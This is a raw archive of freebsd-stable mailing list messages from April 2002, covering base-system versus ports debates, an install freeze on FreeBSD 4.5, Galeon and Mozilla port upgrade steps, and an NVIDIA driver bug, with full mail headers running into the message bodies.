-0000 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15557.62858.194694.421246@guru.mired.org> Date: Tue, 23 Apr 2002 19:00:10 -0500 To: kudzu@tenebras.com Cc: Lucky Green , freebsd-stable@freebsd.org Subject: Re: /etc/defaults/rc.conf theory In-Reply-To: <3CC5EE7C.2030407@tenebras.com> References: <002d01c1ea7d$cf1cb060$c33a080a@LUCKYVAIO> <3CC4E3D4.6010603@tenebras.com> <15557.46037.660880.582373@guru.mired.org> <3CC5EE7C.2030407@tenebras.com> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ From: Mike Meyer X-Delivery-Agent: TMDA/0.52 (Python 2.2 on FreeBSD/i386) Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In <3CC5EE7C.2030407@tenebras.com>, Michael Sierchio typed: > Mike Meyer wrote: > > Some mailer and some ssh need to be part of the base system. If they > > aren't up to snuff for you and you aren't happy disabling things in > > the base system and installing ports, then you need to find someone to > > maintain a version you want as part of the base system, and then > > convince everyone else that this is better. Tracking OpenSSL/OpenSSH > > closer is probably an easy sell. The same is not true for sendmail. > A mailer isn't needed for a dedicated router, or several other > types of appliance. Neither is ssh, if you connect exclusively > via the serial console. Of course I have ssh installed (I already > confessed). I just wish configuration were easier. True, but a router etc. isn't a complete system. > Why shouldn't everything be a package? Well, not the kernel, loader, > etc. but nearly everything in userland. You deleted the critical comment I made. If you want to help make everything a package, the libh project is always looking for people. http://www.mired.org/home/mwm/ Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 17: 0:36 2002 Delivered-To: freebsd-stable@freebsd.org Received: from mtiwmhc21.worldnet.att.net (mtiwmhc21.worldnet.att.net [204.127.131.46]) by hub.freebsd.org (Postfix) with ESMTP id 49BFF37B41B for ; Tue, 23 Apr 2002 17:00:16 -0700 (PDT) Received: from slip-32-102-122-215.ut.us.prserv.net ([32.102.122.215]) by mtiwmhc21.worldnet.att.net (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020424000015.PYPH24238.mtiwmhc21.worldnet.att.net@slip-32-102-122-215.ut.us.prserv.net> for ; Wed, 24 Apr 2002 00:00:15 +0000 Date: Tue, 23 Apr 2002 18:00:10 -0600 (MDT) From: Eric Christian Carlsen X-X-Sender: ecc@dinosaur.byu.edu Reply-To: Eric Christian Carlsen To: freebsd-stable@FreeBSD.ORG Subject: freeze on install (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Forgot to mention one thing. I don't have an internal zip drive - it was said that it can cause that error but that's not the problem here. I have an external parallel port zip drive (older style) but not an internal ide one. --- Eric Carlsen ec@byu.net ---------- Forwarded message ---------- Date: Tue, 23 Apr 2002 17:36:37 -0600 (MDT) From: Eric Christian Carlsen To: freebsd-stable@FreeBSD.ORG Subject: freeze on install I recently tried to install freebsd 4.5 and it hung on the probing devices step. I've installed freebsd 4.4 on this machine before with a few minor differences. Since I installed 4.4 I've changed my video card and added an internal hardware based pci modem. Here are the specs: Abit KT7E Motherboard Duron 850 MHz processor US Robotics 2977 Internal PCI Hardware modem (works in linux) ATI XPert 2000 Pro Video Card Sound Blaster 16 ISA sound card Logitech optical wheel mouse w/ USB to PS/2 converter --- Eric Carlsen ec@byu.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 17: 4:29 2002 Delivered-To: freebsd-stable@freebsd.org Received: from mired.org (dsl-64-192-6-133.telocity.com [64.192.6.133]) by hub.freebsd.org (Postfix) with SMTP id 5D40C37B41E for ; Tue, 23 Apr 2002 17:04:21 -0700 (PDT) Received: (qmail 45999 invoked by uid 100); 24 Apr 2002 00:04:15 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15557.63103.194310.947011@guru.mired.org> Date: Tue, 23 Apr 2002 19:04:15 -0500 To: pjklist@ekahuna.com Cc: stable@FreeBSD.ORG Subject: Re: /etc/defaults/rc.conf theory In-Reply-To: <20020423235147062.AAA735@empty1.ekahuna.com@pc02.ekahuna.com> References: <20020423235147062.AAA735@empty1.ekahuna.com@pc02.ekahuna.com> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ From: Mike Meyer X-Delivery-Agent: TMDA/0.52 (Python 2.2 on FreeBSD/i386) Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In <20020423235147062.AAA735@empty1.ekahuna.com@pc02.ekahuna.com>, Philip J. Koenig typed: > Mike Meyer wrote: > > > The rationale for inclusion in the base system as opposed to ports > > > has usually been licensing issues. > > By some odd quirk, I've never heard any such rationale. > The two examples I can think of off the top of my head are bash and > apache. Neither of those is in the base system. http://www.mired.org/home/mwm/ Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 17: 9:20 2002 Delivered-To: freebsd-stable@freebsd.org Received: from tao.thought.org (sense-kline-249.oz.net [216.39.168.249]) by hub.freebsd.org (Postfix) with ESMTP id 7687F37B404 for ; Tue, 23 Apr 2002 17:09:16 -0700 (PDT) Received: (from kline@localhost) by tao.thought.org (8.11.3/8.11.3) id g3O097c51414; Tue, 23 Apr 2002 17:09:07 -0700 (PDT) (envelope-from kline) Date: Tue, 23 Apr 2002 17:09:06 -0700 From: Gary Kline To: "Brandon S. Allbery KF8NH" Cc: Gary Kline , Joe Marcus Clarke , freebsd-stable@FreeBSD.ORG Subject: Re: re Galeon Message-ID: <20020423170906.A51380@tao.thought.org> References: <200204232050.g3NKojV50939@tao.thought.org> <1019599510.320.106.camel@gyros.marcuscom.com> <20020423155944.A51135@tao.thought.org> <1019606034.68291.2.camel@rushlight.kf8nh.apk.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <1019606034.68291.2.camel@rushlight.kf8nh.apk.net>; from allbery@ece.cmu.edu on Tue, Apr 23, 2002 at 08:53:53PM -0300 X-Organization: Thought Unlimited. Public service Unix since 1986. X-Of_Interest: Observing 15 years of service to the Unix community Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Apr 23, 2002 at 08:53:53PM -0300, Brandon S. Allbery KF8NH wrote: > On Tue, 2002-04-23 at 19:59, Gary Kline wrote: > > > Galeon 1.2.1 with Mozilla-1.0.rc1 works fine for me. What errors do you > > > get when you try to compile it? > > > > The errs I was getting were missing headers.... (That may > > have simply been a symtom, tho.) > I found that to upgrade galeon I had to: > > (1) remove freetype, so mozilla would find freetype2; > (2) upgrade mozilla; > (3) upgrade mozilla-embedded, which remained at the old version --- this > despite building -DWITH_FULL_MOZILLA to get SSL, etc.; > (4) upgrade galeon. > This ought to save me grief++, thanks. I tried to update `gnomecanvas' and it died not finding libintl.a (at least that was what I saw as the built flew past). locate couldn't find the library either. It isnt a port; it is part of mutt and lpe. lpe fails to upgrade too. Any ideas? Anybody? Prev'ly I thought that port upgrades were mostly a problem between major FBSD levels, like 2 -> 3; or -> 4. I guess not. gary -- Gary Kline kline@thought.org www.thought.org Public service Unix To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 17:29:19 2002 Delivered-To: freebsd-stable@freebsd.org Received: from gyros.marcuscom.com (dhcp-64-102-60-52.cisco.com [64.102.60.52]) by hub.freebsd.org (Postfix) with ESMTP id E2F1637B400 for ; Tue, 23 Apr 2002 17:29:11 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by gyros.marcuscom.com (8.12.3/8.12.3) with ESMTP id g3O0SqR3008082; Tue, 23 Apr 2002 20:28:52 -0400 (EDT) (envelope-from marcus@marcuscom.com) Subject: Re: re Galeon From: Joe Marcus Clarke To: "Brandon S. Allbery " KF8NH Cc: Gary Kline , freebsd-stable@FreeBSD.ORG In-Reply-To: <1019606034.68291.2.camel@rushlight.kf8nh.apk.net> References: <200204232050.g3NKojV50939@tao.thought.org> <1019599510.320.106.camel@gyros.marcuscom.com> <20020423155944.A51135@tao.thought.org> <1019606034.68291.2.camel@rushlight.kf8nh.apk.net> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 Date: 23 Apr 2002 21:28:52 -0300 Message-Id: <1019608133.320.114.camel@gyros.marcuscom.com> Mime-Version: 1.0 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 2002-04-23 at 20:53, Brandon S. Allbery KF8NH wrote: > On Tue, 2002-04-23 at 19:59, Gary Kline wrote: > > > Galeon 1.2.1 with Mozilla-1.0.rc1 works fine for me. What errors do you > > > get when you try to compile it? > > > > The errs I was getting were missing headers.... (That may > > have simply been a symtom, tho.) > I found that to upgrade galeon I had to: > > (1) remove freetype, so mozilla would find freetype2; > (2) upgrade mozilla; > (3) upgrade mozilla-embedded, which remained at the old version --- this > despite building -DWITH_FULL_MOZILLA to get SSL, etc.; You don't need mozilla-embedded if you're building WITH_FULL_MOZILLA. I don't even have it installed. You do need to upgrade both mozilla and mozilla-headers, though (for Galeon, that is). Joe > (4) upgrade galeon. > > -- > brandon s allbery [openafs/solaris/japh/freebsd] allbery@kf8nh.apk.net > system administrator [linux/heimdal/too many hats] allbery@ece.cmu.edu > electrical and computer engineering KF8NH > carnegie mellon university [better check the oblivious first -ke6sls] > -- PGP Key: http://www.marcuscom.com/pgp.asc To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 17:31:12 2002 Delivered-To: freebsd-stable@freebsd.org Received: from gyros.marcuscom.com (dhcp-64-102-60-52.cisco.com [64.102.60.52]) by hub.freebsd.org (Postfix) with ESMTP id 402E637B400 for ; Tue, 23 Apr 2002 17:31:07 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by gyros.marcuscom.com (8.12.3/8.12.3) with ESMTP id g3O0UnR3008101; Tue, 23 Apr 2002 20:30:49 -0400 (EDT) (envelope-from marcus@marcuscom.com) Subject: Re: re Galeon From: Joe Marcus Clarke To: Gary Kline Cc: "Brandon S. Allbery " KF8NH , freebsd-stable@FreeBSD.ORG In-Reply-To: <20020423170906.A51380@tao.thought.org> References: <200204232050.g3NKojV50939@tao.thought.org> <1019599510.320.106.camel@gyros.marcuscom.com> <20020423155944.A51135@tao.thought.org> <1019606034.68291.2.camel@rushlight.kf8nh.apk.net> <20020423170906.A51380@tao.thought.org> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 Date: 23 Apr 2002 21:30:49 -0300 Message-Id: <1019608249.320.117.camel@gyros.marcuscom.com> Mime-Version: 1.0 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 2002-04-23 at 21:09, Gary Kline wrote: > On Tue, Apr 23, 2002 at 08:53:53PM -0300, Brandon S. Allbery KF8NH wrote: > > On Tue, 2002-04-23 at 19:59, Gary Kline wrote: > > > > Galeon 1.2.1 with Mozilla-1.0.rc1 works fine for me. What errors do you > > > > get when you try to compile it? > > > > > > The errs I was getting were missing headers.... (That may > > > have simply been a symtom, tho.) > > I found that to upgrade galeon I had to: > > > > (1) remove freetype, so mozilla would find freetype2; > > (2) upgrade mozilla; > > (3) upgrade mozilla-embedded, which remained at the old version --- this > > despite building -DWITH_FULL_MOZILLA to get SSL, etc.; > > (4) upgrade galeon. > > > > This ought to save me grief++, thanks. > > > I tried to update `gnomecanvas' and it died not finding libintl.a > (at least that was what I saw as the built flew past). For gnomecanvas to work, you need to have gdk-pixbuf installed, and the two need to be in sync. Currently, the latest release of both is 0.17.0. First upgrade gdk-pixbuf, then gnomecanvas. libintl is part of gettext. You should have both gettext-0.11.0_1 and 0.10.35_2 installed. Joe > > locate couldn't find the library either. It isnt a port; it is > part of mutt and lpe. lpe fails to upgrade too. > > Any ideas? Anybody? Prev'ly I thought that port upgrades were > mostly a problem between major FBSD levels, like 2 -> 3; or -> 4. > I guess not. > > > gary > > > > -- > Gary Kline kline@thought.org www.thought.org Public service Unix > > -- PGP Key: http://www.marcuscom.com/pgp.asc To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 17:31:46 2002 Delivered-To: freebsd-stable@freebsd.org Received: from hilfy.ece.cmu.edu (HILFY.ECE.CMU.EDU [128.2.136.133]) by hub.freebsd.org (Postfix) with ESMTP id BB75F37B425 for ; Tue, 23 Apr 2002 17:31:31 -0700 (PDT) Received: from rushlight.kf8nh.apk.net (root@VPN100.ECE.CMU.EDU [128.2.138.100]) by hilfy.ece.cmu.edu (8.11.0/8.8.8) with ESMTP id g3O0VNv17603; Tue, 23 Apr 2002 20:31:24 -0400 (EDT) Received: (from allbery@localhost) by rushlight.kf8nh.apk.net (8.11.6/8.11.6) id g3O0VQ069517; Tue, 23 Apr 2002 20:31:26 -0400 (EDT) (envelope-from allbery@ece.cmu.edu) X-Authentication-Warning: rushlight.kf8nh.apk.net: allbery set sender to allbery@ece.cmu.edu using -f Subject: Re: re Galeon From: "Brandon S. Allbery " KF8NH To: Joe Marcus Clarke Cc: Gary Kline , freebsd-stable@FreeBSD.ORG In-Reply-To: <1019608133.320.114.camel@gyros.marcuscom.com> References: <200204232050.g3NKojV50939@tao.thought.org> <1019599510.320.106.camel@gyros.marcuscom.com> <20020423155944.A51135@tao.thought.org> <1019606034.68291.2.camel@rushlight.kf8nh.apk.net> <1019608133.320.114.camel@gyros.marcuscom.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Evolution/1.0.2 Date: 23 Apr 2002 21:31:26 -0300 Message-Id: <1019608286.68291.5.camel@rushlight.kf8nh.apk.net> Mime-Version: 1.0 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 2002-04-23 at 21:28, Joe Marcus Clarke wrote: > On Tue, 2002-04-23 at 20:53, Brandon S. Allbery KF8NH wrote: > > On Tue, 2002-04-23 at 19:59, Gary Kline wrote: > > > > Galeon 1.2.1 with Mozilla-1.0.rc1 works fine for me. What errors do you > > > > get when you try to compile it? > > > > > > The errs I was getting were missing headers.... (That may > > > have simply been a symtom, tho.) > > I found that to upgrade galeon I had to: > > > > (1) remove freetype, so mozilla would find freetype2; > > (2) upgrade mozilla; > > (3) upgrade mozilla-embedded, which remained at the old version --- this > > despite building -DWITH_FULL_MOZILLA to get SSL, etc.; > > You don't need mozilla-embedded if you're building WITH_FULL_MOZILLA. I > don't even have it installed. You do need to upgrade both mozilla and > mozilla-headers, though (for Galeon, that is). Hm, maybe it was mozilla-headers. It was the configure script that fell over, and it fingered mozilla-embedded as the culprit. (I haven't actually gotten to step 4 yet, this go-round; compiling this stuff takes a long time on my laptop.) -- brandon s allbery [openafs/solaris/japh/freebsd] allbery@kf8nh.apk.net system administrator [linux/heimdal/too many hats] allbery@ece.cmu.edu electrical and computer engineering KF8NH carnegie mellon university [better check the oblivious first -ke6sls] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 17:31:49 2002 Delivered-To: freebsd-stable@freebsd.org Received: from laptop.tenebras.com (laptop.tenebras.com [66.92.188.18]) by hub.freebsd.org (Postfix) with SMTP id B997A37B400 for ; Tue, 23 Apr 2002 17:31:40 -0700 (PDT) Received: (qmail 5763 invoked from network); 24 Apr 2002 00:31:40 -0000 Received: from sapphire.tenebras.com (HELO tenebras.com) (66.92.188.241) by 0 with SMTP; 24 Apr 2002 00:31:40 -0000 Message-ID: <3CC5FCEB.3060900@tenebras.com> Date: Tue, 23 Apr 2002 17:31:39 -0700 From: Michael Sierchio Reply-To: kudzu@tenebras.com User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:0.9.9) Gecko/20020404 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Mike Meyer Cc: Lucky Green , freebsd-stable@freebsd.org Subject: Re: /etc/defaults/rc.conf theory References: <002d01c1ea7d$cf1cb060$c33a080a@LUCKYVAIO> <3CC4E3D4.6010603@tenebras.com> <15557.46037.660880.582373@guru.mired.org> <3CC5EE7C.2030407@tenebras.com> <15557.62858.194694.421246@guru.mired.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Mike Meyer wrote: > You deleted the critical comment I made. If you want to help make > everything a package, the libh project is always looking for people. I'm confused -- you say 'libh,' I say 'Tcl sandbox' ?? Is there another libh project? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 17:32:51 2002 Delivered-To: freebsd-stable@freebsd.org Received: from laptop.tenebras.com (laptop.tenebras.com [66.92.188.18]) by hub.freebsd.org (Postfix) with SMTP id 2B88D37B427 for ; Tue, 23 Apr 2002 17:32:15 -0700 (PDT) Received: (qmail 5778 invoked from network); 24 Apr 2002 00:32:14 -0000 Received: from sapphire.tenebras.com (HELO tenebras.com) (66.92.188.241) by 0 with SMTP; 24 Apr 2002 00:32:14 -0000 Message-ID: <3CC5FD0E.7020908@tenebras.com> Date: Tue, 23 Apr 2002 17:32:14 -0700 From: Michael Sierchio Reply-To: kudzu@tenebras.com User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:0.9.9) Gecko/20020404 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Mike Meyer Cc: pjklist@ekahuna.com, stable@FreeBSD.ORG Subject: Re: /etc/defaults/rc.conf theory References: <20020423235147062.AAA735@empty1.ekahuna.com@pc02.ekahuna.com> <15557.63103.194310.947011@guru.mired.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Mike Meyer wrote: > In <20020423235147062.AAA735@empty1.ekahuna.com@pc02.ekahuna.com>, Philip J. Koenig typed: > >>Mike Meyer wrote: >> >>>>The rationale for inclusion in the base system as opposed to ports >>>>has usually been licensing issues. >>> >>>By some odd quirk, I've never heard any such rationale. >> >>The two examples I can think of off the top of my head are bash and >>apache. > > > Neither of those is in the base system. OpenSSL is. And it was excluded until Sept. 2000. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 19: 1: 8 2002 Delivered-To: freebsd-stable@freebsd.org Received: from mired.org (dsl-64-192-6-133.telocity.com [64.192.6.133]) by hub.freebsd.org (Postfix) with SMTP id 55A4437B41A for ; Tue, 23 Apr 2002 19:01:02 -0700 (PDT) Received: (qmail 47151 invoked by uid 100); 24 Apr 2002 02:00:59 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15558.4571.374311.353628@guru.mired.org> Date: Tue, 23 Apr 2002 21:00:59 -0500 To: kudzu@tenebras.com Cc: Lucky Green , freebsd-stable@freebsd.org Subject: Re: /etc/defaults/rc.conf theory In-Reply-To: <3CC5FCEB.3060900@tenebras.com> References: <002d01c1ea7d$cf1cb060$c33a080a@LUCKYVAIO> <3CC4E3D4.6010603@tenebras.com> <15557.46037.660880.582373@guru.mired.org> <3CC5EE7C.2030407@tenebras.com> <15557.62858.194694.421246@guru.mired.org> <3CC5FCEB.3060900@tenebras.com> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ From: Mike Meyer X-Delivery-Agent: TMDA/0.52 (Python 2.2 on FreeBSD/i386) Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In <3CC5FCEB.3060900@tenebras.com>, Michael Sierchio typed: > Mike Meyer wrote: > > You deleted the critical comment I made. If you want to help make > > everything a package, the libh project is always looking for people. > I'm confused -- you say 'libh,' I say 'Tcl sandbox' ?? Is there another libh > project? No, there isn't. One of the goals of the libh project is to turn everything into a package. If you do'nt like it being done in tcl, feel free to start your own project. http://www.mired.org/home/mwm/ Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 19: 3:19 2002 Delivered-To: freebsd-stable@freebsd.org Received: from mired.org (dsl-64-192-6-133.telocity.com [64.192.6.133]) by hub.freebsd.org (Postfix) with SMTP id A067F37B41E for ; Tue, 23 Apr 2002 19:03:11 -0700 (PDT) Received: (qmail 47211 invoked by uid 100); 24 Apr 2002 02:03:06 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15558.4697.740506.455174@guru.mired.org> Date: Tue, 23 Apr 2002 21:03:05 -0500 To: kudzu@tenebras.com Cc: pjklist@ekahuna.com, stable@FreeBSD.ORG Subject: Re: /etc/defaults/rc.conf theory In-Reply-To: <3CC5FD0E.7020908@tenebras.com> References: <20020423235147062.AAA735@empty1.ekahuna.com@pc02.ekahuna.com> <15557.63103.194310.947011@guru.mired.org> <3CC5FD0E.7020908@tenebras.com> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ From: Mike Meyer X-Delivery-Agent: TMDA/0.52 (Python 2.2 on FreeBSD/i386) Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In <3CC5FD0E.7020908@tenebras.com>, Michael Sierchio typed: > Mike Meyer wrote: > > In <20020423235147062.AAA735@empty1.ekahuna.com@pc02.ekahuna.com>, Philip J. Koenig typed: > >>Mike Meyer wrote: > >>>>The rationale for inclusion in the base system as opposed to ports > >>>>has usually been licensing issues. > >>>By some odd quirk, I've never heard any such rationale. > >>The two examples I can think of off the top of my head are bash and > >>apache. > > Neither of those is in the base system. > OpenSSL is. And it was excluded until Sept. 2000. Right. It was kept out of the base system for licensing reasons. It was included because it was decided that ssh was part of a complete system, and OpenSSH needs OpenSSL. I'm still looking for an example of something that was made part of the system for licensing reasons. http://www.mired.org/home/mwm/ Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 19: 7:46 2002 Delivered-To: freebsd-stable@freebsd.org Received: from empty1.ekahuna.com (empty1.ekahuna.com [198.144.200.196]) by hub.freebsd.org (Postfix) with ESMTP id 5E3F737B419 for ; Tue, 23 Apr 2002 19:07:41 -0700 (PDT) Received: from pc-02 (pc02.ekahuna.com [198.144.200.197]) by empty1.ekahuna.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com; Tue, 23 Apr 2002 19:07:40 -0700 From: "Philip J. Koenig" Organization: The Electric Kahuna Organization To: stable@FreeBSD.ORG Date: Tue, 23 Apr 2002 19:07:40 -0700 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: /etc/defaults/rc.conf theory Reply-To: pjklist@ekahuna.com Cc: Mike Meyer In-reply-to: <15557.63103.194310.947011@guru.mired.org> References: <20020423235147062.AAA735@empty1.ekahuna.com@pc02.ekahuna.com> X-mailer: Pegasus Mail for Win32 (v3.12c) Message-ID: <20020424020740647.AAA735@empty1.ekahuna.com@pc02.ekahuna.com> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 23 Apr 2002, at 19:04, Mike Meyer boldly uttered: > In <20020423235147062.AAA735@empty1.ekahuna.com@pc02.ekahuna.com>, Philip J. Koenig typed: > > Mike Meyer wrote: > > > > The rationale for inclusion in the base system as opposed to ports > > > > has usually been licensing issues. > > > By some odd quirk, I've never heard any such rationale. > > The two examples I can think of off the top of my head are bash and > > apache. > > Neither of those is in the base system. > > ; Tue, 23 Apr 2002 19:08:55 -0700 (PDT) Received: by rshb.com.ru (Sendmail for UK-NC RT11-SJ, from userid 426) id 200C520F35; Wed, 24 Apr 2002 08:52:22 +0700 (OMSST) Received: from rshb.com.ru (vampiro.rsb.local [192.168.1.111]) (using TLSv1 with cipher RC4-MD5 (128/128 bits)) (Client CN "Evgueni V. Gavrilov", Issuer "CA" (verified OK)) by rshb.com.ru (Sendmail for UK-NC RT11-SJ) with ESMTP id E22FD20F19 for ; Wed, 24 Apr 2002 08:52:21 +0700 (OMSST) Message-ID: <3CC6106E.8050203@rshb.com.ru> Date: Wed, 24 Apr 2002 08:54:54 +0700 From: "Evgueni V. Gavrilov" User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:0.9.9) Gecko/20020417 X-Accept-Language: ru, en MIME-Version: 1.0 To: freebsd-stable@FreeBSD.ORG Subject: Re: Athlon XP with NVIDIA AGP problem References: <200204231719.g3NHJpo36701@celebris.tddhome> Content-Type: text/plain; charset=KOI8-R; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG User Tomdean wrote: >ftp://ftp.jurai.net/users/winter/nvidia/freebsd_nvidia-1.0-2315_1_3.tar.gz > I tried to use this stuff... It has one bug: switching from X to text console causes machine to freeze. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 19:21: 7 2002 Delivered-To: freebsd-stable@freebsd.org Received: from laptop.tenebras.com (laptop.tenebras.com [66.92.188.18]) by hub.freebsd.org (Postfix) with SMTP id E11B537B41F for ; Tue, 23 Apr 2002 19:21:00 -0700 (PDT) Received: (qmail 6299 invoked from network); 24 Apr 2002 02:20:59 -0000 Received: from sapphire.tenebras.com (HELO tenebras.com) (66.92.188.241) by 0 with SMTP; 24 Apr 2002 02:20:59 -0000 Message-ID: <3CC6168B.4010809@tenebras.com> Date: Tue, 23 Apr 2002 19:20:59 -0700 From: Michael Sierchio Reply-To: kudzu@tenebras.com User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:0.9.9) Gecko/20020404 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Mike Meyer Cc: pjklist@ekahuna.com, stable@FreeBSD.ORG Subject: Re: /etc/defaults/rc.conf theory References: <20020423235147062.AAA735@empty1.ekahuna.com@pc02.ekahuna.com> <15557.63103.194310.947011@guru.mired.org> <3CC5FD0E.7020908@tenebras.com> <15558.4697.740506.455174@guru.mired.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) 